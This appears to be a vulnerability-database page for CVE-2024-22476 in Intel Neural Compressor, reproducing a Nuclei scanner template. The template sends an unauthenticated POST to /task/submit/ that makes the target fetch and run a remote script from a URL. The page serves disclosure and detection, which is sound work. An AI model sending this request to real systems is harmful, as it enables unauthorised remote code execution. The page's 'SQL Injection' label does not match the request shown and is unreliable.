CVE-2024-22476: Intel Neural Compressor <2.5.0 - SQL Injection

日期: 2025-08-01 | 影响软件: Intel Neural Compressor | POC: 已公开

漏洞描述

Improper input validation in some Intel(R) Neural Compressor software before version 2.5.0 may allow an unauthenticated user to potentially enable escalation of privilege via remote access.

PoC代码[已公开]

id: CVE-2024-22476

info:
  name: Intel Neural Compressor <2.5.0 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    Improper input validation in some Intel(R) Neural Compressor software before version 2.5.0 may allow an unauthenticated user to potentially enable escalation of privilege via remote access.
  reference:
    - https://huntr.com/bounties/300bffa9-b240-4201-a1d9-e3ec8d802e4a
    - https://nvd.nist.gov/vuln/detail/CVE-2024-22476
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-22476
    cwe-id: CWE-20
    epss-score: 0.62358
    epss-percentile: 0.98317
  metadata:
    max-request: 1
  tags: cve,cve2024,intel,neural-compressor,sqli,intrusive,file-upload

http:
  - raw:
      - |
        POST /task/submit/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"script_url": "https://github.com/huggingface/transformers/blob/v4.21-release/examples/pytorch/text-classification/run_glue.py","optimized": "False","arguments": ["--model_name_or_path bert-base-cased --task_name mrpc --do_eval --output_dir result"],"approach": "static","requirements": [],"workers": 1}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'status":"successfully'
          - 'Task submitted successfully'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100959178494e4d75c65314c9e4390eda0bfa6e300a66be8e65ee67de3dace21ec7022100bdc0703c200a49d17f47c3f29074aa0cfa8123576c83ebcc80e55cdd1e0a4bc4:922c64590222798bb761d5b6d8e72950